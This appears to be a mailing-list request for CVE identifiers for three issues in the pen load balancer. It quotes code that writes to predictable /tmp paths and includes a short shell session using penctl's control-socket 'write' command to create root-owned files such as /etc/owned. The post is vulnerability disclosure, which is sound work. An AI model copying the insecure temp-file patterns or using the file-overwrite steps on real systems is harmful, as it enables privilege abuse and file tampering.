Subject: CVE-Request - pen issues
There are some minor issues reported in the pen-load-balancer,
which could use CVE Identifiers:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=741370
1. Insecure use of temporary files when requesting
websteats:
} else if (!strcmp(p, "status")) {
p = webfile;
webfile = "/tmp/webfile.html";
webstats();
...
2. Insecure use of temporary files when invoking
the penctl command in the supplied CGI script:
PENCTL=penctl
...
$PENCTL $SERVER:$PORT status 2> /tmp/penctl.cgi
..
3. When a control-socket is configured (via "-C ip:port" added
to the pen command line) a user who can connect to that port
can overwrite arbitrary files as the user pen is launched as:
shelob ~ $ sudo pen 4444 localhost:9000 -C 127.0.0.1:5043
shelob ~ $ penctl 127.0.0.1:5043 write /tmp/meow
shelob ~ $ penctl 127.0.0.1:5043 write /etc/owned
shelob ~ $ ls -l /etc/owned /tmp/meow
-rw-r--r-- 1 root root 1187 Mar 11 18:35 /etc/owned
-rw-r--r-- 1 root root 1186 Mar 11 18:35 /tmp/meow
Please feel free to ask for details if they can be helpful,
versions are unknown, but the current version is v0.18.0
